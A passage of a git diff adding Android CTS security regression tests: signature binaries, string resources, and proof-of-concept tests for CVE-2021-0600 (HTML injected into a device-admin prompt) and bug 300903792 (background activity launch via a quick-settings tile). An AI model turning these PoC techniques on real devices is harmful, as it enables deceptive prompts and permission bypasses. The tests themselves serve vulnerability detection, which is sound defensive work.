+++ b/tests/tests/security/res/raw/sig_com_android_connectivity_resources.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_extservices.bin b/tests/tests/security/res/raw/sig_com_android_extservices.bin
new file mode 100644
index 00000000000..790edbb4980
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_extservices.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_geotz.bin b/tests/tests/security/res/raw/sig_com_android_geotz.bin
new file mode 100644
index 00000000000..aa9479aa310
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_geotz.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_hardware_core_permissions.bin b/tests/tests/security/res/raw/sig_com_android_hardware_core_permissions.bin
new file mode 100644
index 00000000000..1ac04ee5275
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_hardware_core_permissions.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_hardware_power.bin b/tests/tests/security/res/raw/sig_com_android_hardware_power.bin
new file mode 100644
index 00000000000..7db8788c3df
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_hardware_power.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_hardware_sensors.bin b/tests/tests/security/res/raw/sig_com_android_hardware_sensors.bin
new file mode 100644
index 00000000000..c3f2e2e40ea
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_hardware_sensors.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_hardware_thermal.bin b/tests/tests/security/res/raw/sig_com_android_hardware_thermal.bin
new file mode 100644
index 00000000000..03b7c4481a3
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_hardware_thermal.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_hardware_usb.bin b/tests/tests/security/res/raw/sig_com_android_hardware_usb.bin
new file mode 100644
index 00000000000..7a892d82d1d
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_hardware_usb.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_hardware_vibrator.bin b/tests/tests/security/res/raw/sig_com_android_hardware_vibrator.bin
new file mode 100644
index 00000000000..d33176391a9
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_hardware_vibrator.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_hardware_wifi.bin b/tests/tests/security/res/raw/sig_com_android_hardware_wifi.bin
new file mode 100644
index 00000000000..9b0f190e799
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_hardware_wifi.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_hotspot2_osulogin.bin b/tests/tests/security/res/raw/sig_com_android_hotspot2_osulogin.bin
new file mode 100644
index 00000000000..2bb4b5acfe1
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_hotspot2_osulogin.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_i18n.bin b/tests/tests/security/res/raw/sig_com_android_i18n.bin
new file mode 100644
index 00000000000..6bcf8ecc16f
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_i18n.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_ipsec.bin b/tests/tests/security/res/raw/sig_com_android_ipsec.bin
new file mode 100644
index 00000000000..319484ac734
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_ipsec.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_mediaprovider.bin b/tests/tests/security/res/raw/sig_com_android_mediaprovider.bin
new file mode 100644
index 00000000000..c87618f32ee
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_mediaprovider.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_neuralnetworks.bin b/tests/tests/security/res/raw/sig_com_android_neuralnetworks.bin
new file mode 100644
index 00000000000..05cb7b9fd7a
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_neuralnetworks.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_os_statsd.bin b/tests/tests/security/res/raw/sig_com_android_os_statsd.bin
new file mode 100644
index 00000000000..ed8693be0f9
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_os_statsd.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_permission.bin b/tests/tests/security/res/raw/sig_com_android_permission.bin
new file mode 100644
index 00000000000..e9e5a692dff
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_permission.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_rkpd.bin b/tests/tests/security/res/raw/sig_com_android_rkpd.bin
new file mode 100644
index 00000000000..c49bfd057fa
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_rkpd.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_runtime.bin b/tests/tests/security/res/raw/sig_com_android_runtime.bin
new file mode 100644
index 00000000000..e59f0f37eda
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_runtime.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_safetycenter_resources.bin b/tests/tests/security/res/raw/sig_com_android_safetycenter_resources.bin
new file mode 100644
index 00000000000..d9f97a4f693
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_safetycenter_resources.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_sdkext.bin b/tests/tests/security/res/raw/sig_com_android_sdkext.bin
new file mode 100644
index 00000000000..26a9b920fcf
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_sdkext.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_uwb.bin b/tests/tests/security/res/raw/sig_com_android_uwb.bin
new file mode 100644
index 00000000000..1118522aa4e
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_uwb.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_uwb_resources.bin b/tests/tests/security/res/raw/sig_com_android_uwb_resources.bin
new file mode 100644
index 00000000000..55f326cb5f3
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_uwb_resources.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_vibrator_drv2624.bin b/tests/tests/security/res/raw/sig_com_android_vibrator_drv2624.bin
new file mode 100644
index 00000000000..cd7e33cbfba
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_vibrator_drv2624.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_vibrator_sunfish.bin b/tests/tests/security/res/raw/sig_com_android_vibrator_sunfish.bin
new file mode 100644
index 00000000000..42e01d60c7d
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_vibrator_sunfish.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_virt.bin b/tests/tests/security/res/raw/sig_com_android_virt.bin
new file mode 100644
index 00000000000..89c91e356c1
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_virt.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_vndk.bin b/tests/tests/security/res/raw/sig_com_android_vndk.bin
new file mode 100644
index 00000000000..e6b006bf466
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_vndk.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_wifi.bin b/tests/tests/security/res/raw/sig_com_android_wifi.bin
new file mode 100644
index 00000000000..469ee37f822
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_wifi.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_wifi_dialog.bin b/tests/tests/security/res/raw/sig_com_android_wifi_dialog.bin
new file mode 100644
index 00000000000..1fc37ebb576
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_wifi_dialog.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_wifi_resources.bin b/tests/tests/security/res/raw/sig_com_android_wifi_resources.bin
new file mode 100644
index 00000000000..09016e017b9
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_wifi_resources.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_cf_apex.bin b/tests/tests/security/res/raw/sig_com_google_cf_apex.bin
new file mode 100644
index 00000000000..f894bf6b821
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_cf_apex.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_emulated_camera_provider_hal.bin b/tests/tests/security/res/raw/sig_com_google_emulated_camera_provider_hal.bin
new file mode 100644
index 00000000000..e011b6206b7
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_emulated_camera_provider_hal.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_appsearch_helper_cert_a.bin b/tests/tests/security/res/raw/sig_cts_appsearch_helper_cert_a.bin
new file mode 100644
index 00000000000..af5d3136be3
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_appsearch_helper_cert_a.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_appsearch_helper_cert_b.bin b/tests/tests/security/res/raw/sig_cts_appsearch_helper_cert_b.bin
new file mode 100644
index 00000000000..d8fcc87b5cf
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_appsearch_helper_cert_b.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_appsearch_hosttest_helper_cert_a.bin b/tests/tests/security/res/raw/sig_cts_appsearch_hosttest_helper_cert_a.bin
new file mode 100644
index 00000000000..c8c1806eb32
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_appsearch_hosttest_helper_cert_a.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_appsearch_hosttest_helper_cert_b.bin b/tests/tests/security/res/raw/sig_cts_appsearch_hosttest_helper_cert_b.bin
new file mode 100644
index 00000000000..802cbc0e2f9
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_appsearch_hosttest_helper_cert_b.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_blob_helper_cert.bin b/tests/tests/security/res/raw/sig_cts_blob_helper_cert.bin
new file mode 100644
index 00000000000..6e4c31112ae
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_blob_helper_cert.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_blob_helper_cert2.bin b/tests/tests/security/res/raw/sig_cts_blob_helper_cert2.bin
new file mode 100644
index 00000000000..35347a65cc0
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_blob_helper_cert2.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_keyset_test_a.bin b/tests/tests/security/res/raw/sig_cts_keyset_test_a.bin
new file mode 100644
index 00000000000..4d22159f17d
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_keyset_test_a.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_keyset_test_b.bin b/tests/tests/security/res/raw/sig_cts_keyset_test_b.bin
new file mode 100644
index 00000000000..dbeeefd1907
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_keyset_test_b.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_keyset_test_c.bin b/tests/tests/security/res/raw/sig_cts_keyset_test_c.bin
new file mode 100644
index 00000000000..265ac9a8058
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_keyset_test_c.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_keyset_test_ec_a.bin b/tests/tests/security/res/raw/sig_cts_keyset_test_ec_a.bin
new file mode 100644
index 00000000000..356a5ab5116
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_keyset_test_ec_a.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_net_app.bin b/tests/tests/security/res/raw/sig_cts_net_app.bin
new file mode 100644
index 00000000000..ff683eda7f2
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_net_app.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_testkey1.bin b/tests/tests/security/res/raw/sig_cts_testkey1.bin
new file mode 100644
index 00000000000..ca90fe2d9a5
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_testkey1.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_testkey2.bin b/tests/tests/security/res/raw/sig_cts_testkey2.bin
new file mode 100644
index 00000000000..4371c215e51
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_testkey2.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cts_uicc_2021.bin b/tests/tests/security/res/raw/sig_cts_uicc_2021.bin
new file mode 100644
index 00000000000..7125291a08a
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cts_uicc_2021.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_ec_p256.bin b/tests/tests/security/res/raw/sig_ec_p256.bin
new file mode 100644
index 00000000000..e611e3d9383
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_ec_p256.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_ec_p256_2.bin b/tests/tests/security/res/raw/sig_ec_p256_2.bin
new file mode 100644
index 00000000000..7723beab571
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_ec_p256_2.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_ec_p256_3.bin b/tests/tests/security/res/raw/sig_ec_p256_3.bin
new file mode 100644
index 00000000000..cc82af9c031
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_ec_p256_3.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_ec_p256_4.bin b/tests/tests/security/res/raw/sig_ec_p256_4.bin
new file mode 100644
index 00000000000..29980db219a
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_ec_p256_4.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_ec_p256_5.bin b/tests/tests/security/res/raw/sig_ec_p256_5.bin
new file mode 100644
index 00000000000..e62d5bb5673
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_ec_p256_5.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_keyset_A.bin b/tests/tests/security/res/raw/sig_keyset_A.bin
new file mode 100644
index 00000000000..e484ec313a4
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_keyset_A.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_keyset_B.bin b/tests/tests/security/res/raw/sig_keyset_B.bin
new file mode 100644
index 00000000000..b95719ce728
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_keyset_B.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_rro_remounted_test_a.bin b/tests/tests/security/res/raw/sig_rro_remounted_test_a.bin
new file mode 100644
index 00000000000..24d2d5583ea
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_rro_remounted_test_a.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_rsa_2048.bin b/tests/tests/security/res/raw/sig_rsa_2048.bin
new file mode 100644
index 00000000000..d61baefcd67
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_rsa_2048.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_sdk_sandbox.bin b/tests/tests/security/res/raw/sig_sdk_sandbox.bin
new file mode 100644
index 00000000000..3b01c2e3e88
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_sdk_sandbox.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_security_cts_test_cert.bin b/tests/tests/security/res/raw/sig_security_cts_test_cert.bin
new file mode 100644
index 00000000000..e62cbffbb7b
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_security_cts_test_cert.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_shell_as_test_app_key.bin b/tests/tests/security/res/raw/sig_shell_as_test_app_key.bin
new file mode 100644
index 00000000000..be5aab59f1b
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_shell_as_test_app_key.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_test_cert_1.bin b/tests/tests/security/res/raw/sig_test_cert_1.bin
new file mode 100644
index 00000000000..e611e3d9383
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_test_cert_1.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_test_cert_2.bin b/tests/tests/security/res/raw/sig_test_cert_2.bin
new file mode 100644
index 00000000000..7723beab571
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_test_cert_2.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_test_cert_3.bin b/tests/tests/security/res/raw/sig_test_cert_3.bin
new file mode 100644
index 00000000000..cc82af9c031
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_test_cert_3.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_test_cert_4.bin b/tests/tests/security/res/raw/sig_test_cert_4.bin
new file mode 100644
index 00000000000..29980db219a
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_test_cert_4.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_testcert.bin b/tests/tests/security/res/raw/sig_testcert.bin
new file mode 100644
index 00000000000..cae337ec07c
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_testcert.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_unit_test.bin b/tests/tests/security/res/raw/sig_unit_test.bin
new file mode 100644
index 00000000000..4dbbc4946bd
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_unit_test.bin
Binary files differ
diff --git a/tests/tests/security/res/values/strings.xml b/tests/tests/security/res/values/strings.xml
index 04c33e35cfe..3423f3239a0 100644
--- a/tests/tests/security/res/values/strings.xml
+++ b/tests/tests/security/res/values/strings.xml
@@ -44,4 +44,19 @@
<string name="cve_2023_20960_uriStringComponent">component=</string>
<string name="cve_2023_20960_uriStringIntent">intent:#Intent;</string>
<string name="cve_2023_20960_uriStringSuffix">;end</string>
+
+ <!-- CVE-2021-0600 -->
+ <string name="cve_2021_0600_action">CVE_2021_0600_action</string>
+ <string name="cve_2021_0600_errorCreateCharSeq">Failed to create a charsequence to contain HTML
+ text</string>
+ <string name="cve_2021_0600_failMsg">Vulnerable to b/179042963 !!</string>
+ <string name="cve_2021_0600_intentNotFound">Failed to resolve %1$s</string>
+ <string name="cve_2021_0600_keyException">exception</string>
+ <string name="cve_2021_0600_keyHtml">html</string>
+ <string name="cve_2021_0600_noException">noException</string>
+ <string name="cve_2021_0600_pattern">.*CVE_2021_0600_EXPN.*</string>
+ <string name="cve_2021_0600_patternNotFound">UI element with text pattern %1$s not found
+ </string>
+ <string name="cve_2021_0600_targetText">CVE_2021_0600_EXPN</string>
+ <string name="cve_2021_0600_targetTextHtml"><![CDATA[<h1>CVE_2021_0600_EXPN</h1>]]></string>
</resources>
diff --git a/tests/tests/security/res/xml/device_admin_cve_2021_0600.xml b/tests/tests/security/res/xml/device_admin_cve_2021_0600.xml
new file mode 100644
index 00000000000..2b7410c06d4
--- /dev/null
+++ b/tests/tests/security/res/xml/device_admin_cve_2021_0600.xml
@@ -0,0 +1,20 @@
+<?xml version ="1.0" encoding ="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<device-admin>
+ <uses-policies />
+</device-admin>
diff --git a/tests/tests/security/src/android/security/cts/Bug_300903792.kt b/tests/tests/security/src/android/security/cts/Bug_300903792.kt
new file mode 100644
index 00000000000..5b2784b93e7
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/Bug_300903792.kt
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts
+
+import android.content.ComponentName
+import android.content.Intent
+import android.platform.test.annotations.AsbSecurityTest
+import android.service.quicksettings.TileService
+import android.util.Log
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import androidx.test.platform.app.InstrumentationRegistry.getInstrumentation
+import com.android.compatibility.common.util.BlockingBroadcastReceiver
+import com.android.compatibility.common.util.SystemUtil
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase
+import org.junit.After
+import org.junit.Assert.fail
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import org.junit.Test
+import org.junit.runner.RunWith
+
+@RunWith(AndroidJUnit4::class)
+class Bug_300903792 : StsExtraBusinessLogicTestCase() {
+
+ @Before
+ fun setUp() {
+ assumeTrue(TileService.isQuickSettingsSupported())
+ installPackage(TILE_SERVICE_APP_LOCATION)
+ }
+
+ @After
+ fun tearDown() {
+ SystemUtil.runShellCommand(REMOVE_TILE_COMMAND)
+ Log.d("TestRunner", "Uninstalling $TILE_SERVICE_PACKAGE")
+ uninstallPackage(TILE_SERVICE_PACKAGE)
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = [300903792])
+ fun testPocBug_300903792() {
+ val context = getInstrumentation().context
+ val nullBindingReceiver = BlockingBroadcastReceiver(context, ON_NULL_BINDING)
+ // First we add the tile, we should receive a broadcast once it has bound.
+ // We expect that the tile will be bound to notify `onTileAdded` and onNullBinding will
+ // happen.
+ try {
+ nullBindingReceiver.register()
+ SystemUtil.runShellCommand(ADD_TILE_COMMAND)
+ nullBindingReceiver.awaitForBroadcast(ONE_MINUTE_IN_MILLIS)
+ } finally {
+ nullBindingReceiver.unregisterQuietly()
+ }
+
+ val backgroundActivityStarted =
+ BlockingBroadcastReceiver(context, BACKGROUND_ACTIVITY_STARTED)
+ // We start an activity that will schedule another activity to start and then go home
+ // (putting itself in the background). We expect that the backgroundActivity is not started,
+ // but if the security issue is not patched, it will.
+ try {
+ backgroundActivityStarted.register()
+ context.startActivity(
+ Intent()
+ .setComponent(ACTIVITY_STARTER_COMPONENT)
+ .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ )
+ val intent = backgroundActivityStarted.awaitForBroadcast(ONE_MINUTE_IN_MILLIS)
+ if (intent != null) {
+ fail("Vulnerable to b/300903792! Activity started from the background")
+ }
+ } finally {
+ backgroundActivityStarted.unregisterQuietly()
+ }
+ }
+
+ private fun installPackage(apkPath: String) {
+ val result = SystemUtil.runShellCommand("pm install -r $apkPath")
+ Log.d("security", "Install result: $result")
+ }
+
+ private fun uninstallPackage(packageName: String) {
+ SystemUtil.runShellCommand("pm uninstall $packageName")
+ }
+
+ companion object {
+ private const val TILE_SERVICE_APP_LOCATION =
+ "/data/local/tmp/cts/security/TileServiceNullBindingTestApp.apk"
+ private const val TILE_SERVICE_PACKAGE = "android.security.cts.tileservice"
+ private const val TILE_SERVICE_NAME = ".NullBindingTileService"
+ private const val ACTIVITY_STARTER_NAME = ".ActivityStarterActivity"
+
+ private val TILE_SERVICE_COMPONENT =
+ ComponentName.createRelative(TILE_SERVICE_PACKAGE, TILE_SERVICE_NAME)
+ private val ACTIVITY_STARTER_COMPONENT =
+ ComponentName.createRelative(TILE_SERVICE_PACKAGE, ACTIVITY_STARTER_NAME)
+
+ private const val BACKGROUND_ACTIVITY_STARTED =
+ "android.security.cts.tileservice.BACKGROUND_ACTIVITY_STARTED"
+
+ private const val ON_NULL_BINDING = "android.security.cts.tileservice.ON_NULL_BINDING"
+
+ private val ADD_TILE_COMMAND =
+ "cmd statusbar add-tile ${TILE_SERVICE_COMPONENT.flattenToString()}"
+ private val REMOVE_TILE_COMMAND =
+ "cmd statusbar remove-tile ${TILE_SERVICE_COMPONENT.flattenToString()}"
+
+ private const val ONE_MINUTE_IN_MILLIS = 60 * 1000L
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0600/CVE_2021_0600.java b/tests/tests/security/src/android/security/cts/CVE_2021_0600/CVE_2021_0600.java
new file mode 100644
index 00000000000..7981c4253bf
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0600/CVE_2021_0600.java
@@ -0,0 +1,137 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0600;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Instrumentation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.graphics.Rect;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.security.cts.R;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0600 extends StsExtraBusinessLogicTestCase {
+ private static final long TIMEOUT_MS = 5000;
+ private CompletableFuture<String> mPocActivityReturn;
+ private UiDevice mDevice;
+ private Context mContext;
+
+ // b/179042963
+ // Vulnerable package : com.android.settings (As per AOSP code)
+ // Vulnerable app : Settings.apk (As per AOSP code)
+ @AsbSecurityTest(cveBugId = 179042963)
+ @Test
+ public void testPocCVE_2021_0600() {
+ try {
+ Instrumentation instrumentation = getInstrumentation();
+ mDevice = UiDevice.getInstance(instrumentation);
+ mContext = instrumentation.getContext();
+
+ // Registering a broadcast receiver to receive broadcast from PocActivity.
+ mPocActivityReturn = new CompletableFuture<>();
+ BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ mPocActivityReturn.complete(intent.getStringExtra(
+ mContext.getString(R.string.cve_2021_0600_keyException)));
+ } catch (Exception e) {
+ // ignore.
+ }
+ }
+ };
+ mContext.registerReceiver(broadcastReceiver,
+ new IntentFilter(mContext.getString(R.string.cve_2021_0600_action)));
+
+ // Launch the PocActivity which in turn starts DeviceAdminAdd activity with normal
+ // text as 'explanation'.
+ Intent intent = new Intent(mContext, PocActivity.class);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ intent.putExtra(mContext.getString(R.string.cve_2021_0600_keyHtml), false);
+ mContext.startActivity(intent);
+ String pocActivityException = mPocActivityReturn.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ assumeTrue(pocActivityException, pocActivityException.trim()
+ .equals(mContext.getString(R.string.cve_2021_0600_noException)));
+
+ // Get the height of the normal text with no formatting. Because width is same both
+ // with and without fix, height is being used for comparing the with and without
+ // fix behaviour.
+ int heightWoHtml = getVulnerableUIHeight();
+ assumeTrue(heightWoHtml != -1);
+
+ // Launch PocActivity again such that DeviceAdminAdd activity starts with formatted text
+ // this time.
+ mPocActivityReturn = new CompletableFuture<>();
+ intent.putExtra(mContext.getString(R.string.cve_2021_0600_keyHtml), true);
+ mContext.startActivity(intent);
+ pocActivityException = mPocActivityReturn.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ assumeTrue(pocActivityException, pocActivityException
+ .equalsIgnoreCase(mContext.getString(R.string.cve_2021_0600_noException)));
+
+ // Get the height of HTML text with formatting.
+ int heightWithHtml = getVulnerableUIHeight();
+ assumeTrue(heightWithHtml != -1);
+
+ // On vulnerable device, the text displayed on the screen will be HTML formatted, so
+ // there will be considerable increase in height of the text due to <h1> tag, if there
+ // is at least 20% increase in height, the test will fail.
+ assertFalse(mContext.getString(R.string.cve_2021_0600_failMsg),
+ heightWithHtml > 1.2 * heightWoHtml);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+ private int getVulnerableUIHeight() {
+ Pattern pattern = Pattern.compile(mContext.getString(R.string.cve_2021_0600_pattern),
+ Pattern.CASE_INSENSITIVE);
+ BySelector selector = By.text(pattern);
+ assumeTrue(mContext.getString(R.string.cve_2021_0600_patternNotFound, pattern),
+ mDevice.wait(Until.hasObject(selector), TIMEOUT_MS));
+ UiObject2 obj = mDevice.findObject(selector);
+ if (obj != null && obj.getText() != null
+ && obj.getText().contains(mContext.getString(R.string.cve_2021_0600_targetText))) {
+ Rect bounds = obj.getVisibleBounds();
+ return bounds.bottom - bounds.top;
+ }
+ return -1;
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0600/PocActivity.java b/tests/tests/security/src/android/security/cts/CVE_2021_0600/PocActivity.java
new file mode 100644
index 00000000000..2634a426941
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0600/PocActivity.java
@@ -0,0 +1,86 @@
+/*
